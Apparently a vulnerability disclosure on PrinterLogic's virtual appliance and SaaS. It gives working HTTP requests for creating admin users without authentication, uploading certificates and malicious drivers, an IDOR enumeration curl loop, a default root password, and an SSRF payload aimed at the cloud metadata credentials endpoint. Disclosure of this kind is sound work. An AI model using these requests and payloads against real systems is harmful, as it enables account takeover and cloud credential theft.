Host: 172.17.1.1 () Ports: 80/open/tcp//http///
Host: 172.17.1.129 () Ports: 80/open/tcp//http///
It is then possible to interact with instances without authentication.
Interacting with the scim Docker instance:
kali% curl -kv http://172.17.0.158/ -H "X-Site-ID: "
* Trying 172.17.0.158:80...
* Connected to 172.17.0.158 (172.17.0.158) port 80
> GET / HTTP/1.1
> Host: 172.17.0.158
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Cache-Control: no-cache, private
< Date: Fri, 22 Dec 2023 08:19:40 GMT
< Set-Cookie: XSRF-TOKEN=eyJpdiI6InVMSlNlNkk3aTRaQ1FwaCsrd0wrREE9PSIsInZhbHVlIjoiWFZmZFc0cTR6QVNqYVVSUldmSnEwdVhpdFNkK05KRGxGdUdSTThEdURDelp0alwvdXA1U2pIVFwvNkwxcXlyUUoxIiwibWFjIjoiZDU0MzQ5ZDJlZDQxNWRjMTdlM2FmNjQxMjAwNGE1Y2E1NDIyMzU3MTQ1M2U3OTA1MmY4ZWIxZDQ3YTkzNWE0NCJ9; expires=Fri, 22-Dec-2023 10:19:40 GMT; Max-Age=7200; path=/
<
* Connection #0 to host 172.17.0.158 left intact
scim
Regarding the SaaS version, the vulnerability depends on the implementation inside the AWS infrastructure. Due to the lack of defense in depth, there is no reason to believe the SaaS version is not vulnerable.
An attacker can bypass authentication and interact with internal APIs.
The entire authentication mechanism is bypassed as APIs are exposed without authentication.
One of the authentication mechanisms is based on the X-Site-ID
HTTP header, corresponding to the installation ID - this can be bypassed by adding HTTP headers.
It is recommended to review the design of the solution.
It was observed that an attacker can remotely add users without authentication on PrinterLogic. Then the user can log into the admin interface and receive an admin cookie.
An attacker can send a HTTP request to /admin/identity-idp-search
without session cookies. The attacker receives 2 cookies (XSRF-TOKEN
, laravel_session
) and 1 CSRF token in the JSON body:
HTTP request to /admin/identity-idp-search
without authentication:
Then the attacker sends a HTTP request to /admin/idp-add-user
using the received laravel_session
cookie in the HTTP header [1] and the received _token
variable in the JSON payload [2]. We will add the p[redacted]@[redacted]
account:
HTTP request to /admin/idp-add-user
:
And the user has been correctly created without authentication to the [redacted].printercloud10.com instance:
Listing of users
Content of the HTTP request allowing creating any user.
HTTP request creating the p[redacted]@[redacted]
user:
POST /admin/idp-add-user HTTP/2
Host: [redacted].printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 2347
Origin: https://[redacted].printercloud10.com
Referer: https://[redacted].printercloud10.com/admin/
Cookie: laravel_session=[redacted]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"_token":"hHfNlq9PkW2wKjU0S8yRrn2nvr8taEJiJ92giaJb","recordData":[{"id":"93a[redacted-custom-uuid]","firstName":"Pierre","lastName":"[redacted]","displayName":"","username":"p[redacted]","email":"p[redacted]","domain":"","siteId":"[target-instance-redacted]","distinguishedName":"","sourceId":"[redacted-obtained-from-public-apis]","sourceService":"[redacted-obtained-from-public-apis]","sourceServiceType":"custom","usnChange":"","groups":[],"userAttributes":[{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"department","value":"[redacted-obtained-from-public-apis]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":[redacted-obtained-from-public-apis],"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"external-id","value":"[redacted-obtained-from-public-apis]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"active","value":true,"idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"identity-linking","value":"[redacted-custom-email]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"manager","value":"{\"value\":\"[redacted-obtained-from-public-apis]\",\"displayName\":\"\"}","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:45.000000","updatedAt":"2023-10-18 06:41:45.000000"}],"tenantId":9999,"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000","pinNumbers":[],"selected":true,"idpName":"SSO"}],"nodeId":"2","objType":"user"}
This working request was built based on the output of the /api-gateway/identify/search-users
API. This API can list all the users with all the needed fields (id, firstname, lastname, displayname, username, email, domain, siteId, sourceId, sourceService, userAttributes [groups], ...):
Output of the /api-gateway/identify/search-users
API:
The vulnerable code is located in the /var/www/app/app/Http/Controllers/IdpSearchController.php
file inside the printercloud/pi
Docker instance. No authentication is required.
Content of /var/www/app/app/Http/Controllers/IdpSearchController.php
inside the printercloud/pi
Docker instance:
1 <?php [...] 284 public function addUser(Request $request) 285 { 286 $usersOrGroups = $request->input(self::DATA_NAME_REQUEST_PARAM); 287 $objType = $request->input(self::OBJ_TYPE_REQUEST_PARAM); 288 289 $response = new Collection(); 290 try { 291 if (is_null($usersOrGroups)) { 292 throw new NoRecordsException(); 293 } 294 if (is_null($objType)) { 295 throw new InvalidObjectTypeException(); 296 } 297 foreach ($usersOrGroups as $obj) { 298 $umo = UsersMicroserviceObject::firstOrCreate([ 299 'unique_identifier' => $obj['id'], 300 'object_type' => self::getIntObjType($objType), 301 ]); 302 $user = User::firstOrCreate( 303 [ 304 'umo_id' => $umo->id, 305 ], 306 [ 307 'username' => self::getIntObjType($objType) == self::USER_OBJECT_TYPE ? 308 $obj['username'] : $obj['name'], 309 'email_address' => '!@#umo_' . $umo->id, 310 'user_status' => 'Active', 311 'my_password' => '-', 312 'first_name' => '-', 313 'last_name' => '-', 314 'user_type' => 3, 315 'account_id' => 1, 316 ] 317 ); 318 $response->push($user->id); 319 } 320 } catch (NoRecordsException $e) { 321 return $this->errorResponse($e->getMessage(), 'INVALID-RECORDS', HttpResponse::HTTP_BAD_REQUEST); 322 } catch (InvalidObjectTypeException $e) { 323 return $this->errorResponse($e->getMessage(), 'INVALID-OBJECT-TYPE', HttpResponse::HTTP_BAD_REQUEST); 324 } catch (Exception $e) { 325 return $this->errorResponse($e->getMessage(), null, $e->getCode()); 326 } 327 328 return response($response, HttpResponse::HTTP_CREATED); 329 }
This vulnerability has also been confirmed in the test SaaS version - the new user can log into the /admin/
interface, and the session cookie has admin privileges even if the interface seems to be empty.
Login as p[redacted]@[redacted] inside the /admin/
section
It is then possible to interact with APIs with admin privileges:
For example, we can upload drivers using the Linux client by creating a file named 1-1
inside the /opt/PrinterInstallerClient/tmp/requests
directory containing these values.
Communicating with the Linux client to upload drivers:
kali% cat test.file-upload
UPLOAD_DRIVER # upload command
aHR0cHM6 # https
W3JlZGFjdGVkXS5wcmludGVyY2xvdWQxMC5jb20= # [redacted].printercloud10.com
Lw== # /
UEhQU0VTU0lEPTlscjEyYWFhYWJkNDcxMjhhZGIyODM0MDEy # PHPSESSID=9lr12aaaabd47128adb2834012
cHJpbnRlcg== # printer
cDk3Mg== # p972
LTE= # -1
kali% cp test.file-upload /opt/PrinterInstallerClient/tmp/requests/1-1
The file contains the PHPSESSID cookie obtained previously when the newly created user logs in /admin/:
kali% echo UEhQU0VTU0lEPTlscjEyYWFhYWJkNDcxMjhhZGIyODM0MDEy | base64 -d
PHPSESSID=9lr12aaaabd47128adb2834012
The Linux client will automatically create a popup asking to provide files for a printer driver:
Linux client
Upload of drivers
And when we visit the admin webpage, we can confirm that malicious drivers have been successfully uploaded:
Malicious drivers successfully uploaded in the admin interface
An attacker can get admin privileges without authentication.
An attacker can get admin privileges and upload malicious drivers.
It was observed that some admin APIs are reachable without authentication, including critical APIs allowing changing the IdP authentication mechanism (/admin/idp-deployments):
These routes are defined in the /var/www/app/routes/web.php
file located inside the printercloud/pi
Docker instance.
Content of /var/www/app/routes/web.php
inside the printercloud/pi
Docker instance:
1 <?php [...] 185 Route::get('authorized-devices', [ 186 'middleware' => ['web'], 187 'as' => 'authorizedDevides.view', 188 'uses' => 'AuthorizedDeviceController@view', 189 ]); 190 191 Route::get('identity-management', [ 192 'middleware' => ['web'], 193 'as' => 'identityManagement.view', 194 'uses' => 'IdentityManagementController@view', 195 ]); 196 197 Route::get('user-management', [ 198 'middleware' => ['web'], 199 'as' => 'userManagement.view', 200 'uses' => 'UserManagementController@view', 201 ]); [...]
For example, the /admin/idp-deployments API is implemented inside the /var/www/app/Http/Controllers/IdpSearchController.php
file.
There is no authentication, and the attacker-controlled values are directly used to define the IdP deployment:
Content of /var/www/app/Http/Controllers/IdpSearchController.php
inside the printercloud/pi
Docker instance:
1 <?php [...] 174 public function setDeploymentDetails(Request $request) 175 { 176 $usersOrGroups = $request->input(self::DATA_NAME_REQUEST_PARAM); 177 $nodeId = $request->input(self::NODE_ID_REQUEST_PARAM); 178 $objType = $request->input(self::OBJ_TYPE_REQUEST_PARAM); 179 try { 180 if (is_null($usersOrGroups)) { 181 throw new NoRecordsException(); 182 } 183 if (is_null($nodeId)) { 184 throw new NoNodeIdException(); 185 } 186 if (is_null($objType)) { 187 throw new InvalidObjectTypeException(); 188 } 189 190 $audits = \App::make(Audits::class); 191 foreach ($usersOrGroups as $obj) { 192 $umo = UsersMicroserviceObject::firstOrCreate([ 193 'unique_identifier' => $obj['id'], 194 'object_type' => self::getIntObjType($objType), 195 ]); 196 TreeAssociations::firstOrCreate([ 197 'node_id' => $nodeId, 198 'associated_type' => self::USER_MICROSERVICE_OBJECT_ASSOCIATION_TYPE, 199 'associated_id' => $umo->id, 200 ]); 201 $audits->audit( 202 2300, 203 '', 204 'IdP Deployment', 205 $obj['id'], 206 AuditConstants::AC_CREATE, 207 'Deployment', 208 '', 209 '', 210 AuditConstants::AT_IDP_USER, 211 '', 212 '', 213 '' 214 ); 215 } 216 } catch (NoRecordsException $e) { 217 return $this->errorResponse($e->getMessage(), 'INVALID-RECORDS', HttpResponse::HTTP_BAD_REQUEST); 218 } catch (NoNodeIdException $e) { 219 return $this->errorResponse($e->getMessage(), 'INVALID-NODE-ID', HttpResponse::HTTP_BAD_REQUEST); 220 } catch (InvalidObjectTypeException $e) { 221 return $this->errorResponse($e->getMessage(), 'INVALID-OBJECT-TYPE', HttpResponse::HTTP_BAD_REQUEST); 222 } catch (Exception $e) { 223 return $this->errorResponse($e->getMessage(), null, $e->getCode()); 224 } 225 return response()->json(['message' => 'created'], HttpResponse::HTTP_CREATED); 226 } [...]
An attacker can control the authentication mechanism and compromise PrinterLogic VA/SaaS.
It was observed that some admin APIs are reachable without authentication, including APIs allowing to upload, generate and delete certificates:
These routes are defined in the /var/www/app/routes/web.php
file located inside the printercloud/pi
Docker instance:
Content of /var/www/app/routes/web.php
inside the printercloud/pi
Docker instance:
1 <?php [...] 103 /* 104 * Certificate file upload Route 105 */ 106 Route::post('/hp/cert_upload', [ 107 'as' => 'hp.cert-upload', 108 'uses' => 'HPCertificateController@uploadCertificate' 109 ]); 110 Route::post('/hp/cert_delete', [ 111 'as' => 'hp.cert-delete', 112 'uses' => 'HPCertificateController@deleteCertificate' 113 ]); 114 115 /** 116 * Certificate download routes 117 */ 118 Route::get('/certs/ca', [ 119 'as' => 'cert.ca', 120 'uses' => 'CertificateController@downloadCACertificate' 121 ]); 122 Route::get('/certs/serviceclients/{scid}', [ 123 'as' => 'certs.servicelcients-scid', 124 'uses' => 'CertificateController@downloadServiceHostCertificate' 125 ]);]);
And it is possible to upload a new certificate without authentication:
POST /admin/hp/cert_upload HTTP/1.1
Host: 10.105.0.60
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11897246743682233937470939635
Content-Length: 1202
Origin: http://10.105.0.60
Connection: close
Referer: http://10.105.0.60/admin/design/cert_upload.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------11897246743682233937470939635
Content-Disposition: form-data; name="MAX_FILE_SIZE"
2621440
-----------------------------11897246743682233937470939635
Content-Disposition: form-data; name="certificate"; filename="tt"
Content-Type: application/octet-stream
-----BEGIN CERTIFICATE-----
MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNV
BAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRk
LjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJv
b3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZaFw00MjA4MjIxMjA3MDZaMHExCzAJ
BgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMg
THRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25v
IFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtv
xie+RJCxs1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+H
Wyx7xf58etqjYzBhMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
A1UdDgQWBBSHERUI0arBeAyxr87GyZDvvzAEwDAfBgNVHSMEGDAWgBSHERUI0arB
eAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEAtVfd14pVCzbhhkT61Nlo
jbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxOsvxyqltZ
+efcMQ==
-----END CERTIFICATE-----
-----------------------------11897246743682233937470939635--
HTTP/1.1 200 OK
Cache-Control: no-cache, private
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset=UTF-8
Date: Wed, 03 Jan 2024 14:14:26 GMT
Server: nginx
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Connection: close
Content-Length: 37
{"message":"Success","filename":"tt"}
Upload a of a new certificate
The APIs are implemented inside the /var/www/app/Http/Controllers/HPCertificateController.php
file, and there is no authentication:
1 <?php [...] 21 class HPCertificateController extends Controller 22 { 23 use DispatchesJobs; 24 25 public function __construct() 26 { 27 } 28 29 public function uploadCertificate(Request $request) 30 { 31 $file = $request->file('certificate'); 32 $temp_file = \File::get($file->path()); 33 if((stripos($temp_file, '-----BEGIN CERTIFICATE-----') >= 0) && (stripos($temp_file, '-----END CERTIFICATE-----'))) 34 { 35 $api_file_service = new ApiFilesService(); 36 $api_file = $api_file_service->getCertificateByName($file->getClientOriginalName()); 37 if($api_file === null) 38 { 39 $file_sql = $api_file_service->newApiFile($file->getClientOriginalName(), $file->getType(), strlen($temp_file), $temp_file); 40 } 41 else 42 { 43 $file_sql = $api_file_service->updateApiFile($file->getClientOriginalName(), $file->getType(), strlen($temp_file), $temp_file); 44 } 45 if($file_sql === true || $file_sql > 0) 46 { 47 $needs_update = Printer::where(function($q) 48 { 49 $q->where(function($query) 50 { 51 $query->where('make', '=', 'hp') 52 ->where('console_installed', '=', '1'); 53 }) 54 ->orWhere(function($query) 55 { 56 $query->where('make', '=', '') 57 ->where('console_installed', '=', '1'); 58 }); 59 })->get(); 60 foreach($needs_update as $update) 61 { 62 $temp_update_result = Printer::where('id', '=', $update->id)->first(); 63 if($temp_update_result !== false && $temp_update_result !== null) 64 { 65 $temp_update_result->cpa_hp_needs_update = 1; 66 $temp_update_result->update(); 67 } 68 } 69 try 70 { 71 (new UpdateHPCpaJob()) 72 ->onQueue('update-hp') 73 ->dispatch(); 74 } 75 catch(Exception $ex) 76 { 77 Log::debug("Catch - " . $ex->getMessage()); 78 } 79 $response = array 80 ( 81 'message' => 'Success', 82 'filename' => $file->getClientOriginalName(), 83 ); 84 return json_encode($response); 85 } 86 else 87 { 88 $response = array 89 ( 90 'message' => 'Fail', 91 ); 92 return json_encode($response); 93 } 94 } 95 else 96 { 97 $response = array( 98 'message' => 'Validation failed', 99 'errors' => 'Not a valid certificate', 100 ); 101 return json_encode($response); 102 } 103 } 104 105 public function deleteCertificate() 106 { 107 $api_files_service = new ApiFilesService(); 108 $certificate_file = $api_files_service->getCertificate(); 109 $certificate_file->delete(); 110 $response = array( 111 "message" => "Success", 112 ); 113 return new JsonResponse($response); 114 } 115 }
The /admin/certs/serviceclients/{scid}
API can be used to download SSL certificates corresponding to clients (e.g. https://[redacted].printercloud10.com/admin/certs/serviceclients/1
). There is an IDOR vulnerability in the /admin/certs/serviceclients/
API as it is possible to enumerate all the service clients and retrieve the corresponding SSL certificates:
kali% for i in {1..1000}; do curl "https://[redacted].printercloud10.com/admin/certs/serviceclients/$i";echo;done
Failed to find service client with id: 1
Failed to find service client with id: 2
Failed to find service client with id: 3
Failed to find service client with id: 4
Failed to find service client with id: 5
Failed to find service client with id: 6
Failed to find service client with id: 7
Failed to find service client with id: 8
^C
kali%
An attacker can retrieve the certificates of clients.
It was observed that default insecure credentials are used during the installation. Also, the webpage using weak credentials is reachable without authentication after the installation.
Using default password does not respect the California SB-327 regulation. By default, the root user has the password
password.
Also, during the installation process, an attacker can reach the web interface used, specify any new credential and get admin privileges.
The admin/query/update_database.php
is reachable without authentication and will use data provided by an attacker over POST to define a new admin password:
Content of /var/www/app/admin/query/update_database.php
:
[...] 2 3 use PrinterLogic\Events\DatabaseInitialized; 4 use Illuminate\Support\Facades\DB; 5 6 //only used during initial creation of database from management_server_Requests 7 $err = ""; 8 9 set_time_limit(2400); 10 ob_start(); 11 12 require_once("global.php"); 13 require_once(ABSPATH."lib/dao/dbopen.php"); 14 require_once(ABSPATH."lib/dao/my_sql/ppp_statements.php"); 15 require_once(ABSPATH."lib/dao/update_database.inc.php"); 16 17 echo $err; 18 19 $last_error = ""; 20 $res = prepare_database($last_error, $statementcount, $statements); 21 $le2 = ob_get_contents(); 22 ob_end_clean(); 23 24 if (!empty($le2)) { 25 respond_failure($le2); 26 die(); 27 } 28 29 if ($res === 1) { 30 respond_continue("Updating database", ""); 31 return; 32 } elseif ($res === 2) { 33 xml(); 34 echo ''; 35 } elseif (!empty($last_error)) { 36 respond_failure($last_error); 37 die(); 38 } elseif ($res === true && isset($_POST['create_snapshot'])) { 39 echo 'Created snapshot of database (before admin account insert and ProductionSeeders).'; 40 return; 41 } 42 43 xml_buffer(); 44 45 // Set the initial admin email/password. 46 $root_user = ""; 47 $root_password = ""; 48 $root_recovery_email = ""; 49 $root_first = ""; 50 $root_last = ""; 51 52 poststr('root_user', $root_user); 53 poststr('root_password', $root_password); 54 poststr('root_user_email', $root_recovery_email); 55 56 $root_user = empty($root_user) ? "" : $root_user; 57 $root_password = empty($root_password) ? "" : $root_password; 58 $root_recovery_email = empty($root_recovery_email) ? "" : $root_recovery_email; 59 $root_last = empty($root_last) ? "" : $root_last; 60 $root_first = empty($root_first) ? "" : $root_first; 61 62 if (!filter_var($root_recovery_email, FILTER_VALIDATE_EMAIL)) { 63 respond_failure("You must enter a valid email address"); 64 die(); 65 } 66 67 $result = check_admin_password_requirements($root_password); 68 if ($result !== true) { 69 respond_failure($result); 70 die(); 71 } 72 73 // Defined here so it isn't defined if not used 74 $sha512Password = hash('sha512', "password"); 75 $sha1Password = hash('sha1', "password"); 76 77 //for google: username=email. email=email. password=oid 78 if ($root_user != "" && $root_password != "") { 79 require_once(ABSPATH."lib/dao/user_dao.php"); 80 81 $user_dao = new user_dao(); 82 $user_vo = new user_vo(); 83 $user_vo->id = 1; //this isn't really solid...but I guess... 84 $user_dao->load($user_vo); 85 86 // Check to make sure the root user has the initial email/password, so that this cant be used to change any users email/password 87 if ($user_vo->str_email_address == "admin" && 88 ($user_vo->str_my_password == $sha512Password || 89 $user_vo->str_my_password == $sha1Password)) { 90 91 $user_vo->str_username = $root_user; 92 $user_vo->str_email_address = $root_recovery_email; 93 if (GLOBALS::$googleapp) { 94 $user_vo->str_my_password = $root_password; 95 $user_vo->str_first_name = $root_first; 96 $user_vo->str_last_name = $root_last; 97 } else { 98 $user_vo->str_my_password = hash('sha512', $root_password); 99 } 100 101 $user_dao->allow_write(); 102 if (!$user_dao->save($user_vo)) { 103 respond_failure("Unable to update user information"); 104 die(); 105 } 106 107 try { 108 GLOBALS::$login->adminVerifyLogin($root_user, $root_password); 109 } catch (Exception $e) { 110 respond_failure($e->getMessage()); 111 die(); 112 } '.escape_html($last_error).'
This file appears to be used during the installation of the appliance. Using default password does not respect the California SB-327 regulation.
During the installation process, an attacker can reach the web interface used, specify any new credential and get admin privileges.
It was observed that the console_release
directory contains ~ 120 PHP webpages that are reachable without authentication. These webpages allow an attacker to reconfigure printers and devices without authentication.
These vulnerable webpages are:
An attacker can interact with printers without authentication.
It was observed that the console_release
directory contains PHP webpages with insecure PHP code containing SSRF vulnerabilities. The console_release directory
is directly reachable from the network/Internet without authentication.
From the analysis of the source codes, it appears that the $url
variable (used to store the IP or hostname of a printer) is verified in some files to be sure that SSRF vulnerabilities cannot be exploited when an admin defines a malicious hostname for a printer. For example, the filter_var()
function is used to confirm that a remote printer IP is either a domain name or an IP (nullifying any printer whose hostname contains malicious data allowing SSRF vulnerabilities):
Presence of the filter_var
function with FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME
:
kali% rgrep -n FILTER_VALIDATE_DOMAIN
toshiba/toshiba_soap_helper.php:125: $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/update.php:185: $local_url = filter_var($this_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/update.php:290: $local_url = filter_var($this_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/installSettings.php:108: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/installApp.php:40:$local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
km/konicaminolta_soap_helper.php:113: $local_ip = filter_var($this->host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
km/konicaminolta_soap_helper.php:191: $local_ip = filter_var($this->host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
km/konicaminolta_soap_helper.php:263: $local_ip = filter_var($this->host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/installApp.php:68: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:52: $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:148: $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:219: $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:317: $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/removeApp.php:51: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_auth_soap_server_0.php:661: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/list_apps.php:28: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/list_apps.php:59: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/remove_app.php:29: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/remove_app.php:55: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/remove_app.php:94: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/samsung_rest_helper.php:21: $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/get_device_info.php:35: $local_url = filter_var($printer_vo->str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
Unfortunately, theses checks are extremely incomplete since:
file_get_contents()
is used to send HTTP/HTTPS requests to remote printer without any verification.We can find 419 calls to curl. If one of these calls is vulnerable to a SSRF vulnerability, then the SaaS solution can likely be compromised:
kali$ rgrep -c curl .
419
kali$ rgrep curl .
./toshiba/toshiba_soap_helper.php: $ch = curl_init();
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_POST, true);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_POSTFIELDS, $FULL_XRX);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
./toshiba/toshiba_soap_helper.php: $response = curl_exec($ch);
./toshiba/toshiba_soap_helper.php: $error = curl_error($ch);
./toshiba/toshiba_soap_helper.php: curl_close($ch);
./toshiba/toshiba_soap_helper.php: $ch = curl_init();
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_TIMEOUT, 10);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_POST, true);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_HTTPHEADER, [
./toshiba/toshiba_soap_helper.php: $response = curl_exec($ch);
./toshiba/toshiba_soap_helper.php: $error = curl_error($ch);
./toshiba/toshiba_soap_helper.php: curl_close($ch);
./lexmark/update.php: $ch = curl_init();
./lexmark/update.php: curl_setopt($ch, CURLOPT_URL, 'ftp://' . $local_url . '/printerlogic.fls');
./lexmark/update.php: curl_setopt($ch, CURLOPT_USERPWD, $username . ":" . $password);
./lexmark/update.php: curl_setopt($ch, CURLOPT_UPLOAD, true);
./lexmark/update.php: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
./lexmark/update.php: curl_setopt($ch, CURLOPT_INFILE, $fp);
./lexmark/update.php: curl_setopt($ch, CURLOPT_INFILESIZE, filesize(ABSPATH . 'console_release/lexmark/printerlogic.fls'));
./lexmark/update.php: curl_exec($ch);
./lexmark/update.php: $error_no = curl_error($ch);
./lexmark/update.php: curl_close($ch);
./lexmark/update.php: $ch = curl_init();
./lexmark/update.php: curl_setopt($ch, CURLOPT_URL, 'ftp://' . $local_url . '/printerlogic.ucf');
./lexmark/update.php: curl_setopt($ch, CURLOPT_UPLOAD, true);
./lexmark/update.php: curl_setopt($ch, CURLOPT_INFILE, $temp_file);
./lexmark/update.php: curl_setopt($ch, CURLOPT_INFILESIZE, mb_strlen($content, '8bit'));
./lexmark/update.php: curl_exec($ch);
[...]
For example, we can find several SSRF vulnerabilities.
The following list is not exhaustive and the audited files were randomly chosen.
The $url
and $new_url
variables are attacker-controlled and the output of the file_get_contents()
function will be displayed to the attacker. An attacker can use:
169.254.169.254/latest/meta-data/iam/security-credentials/?
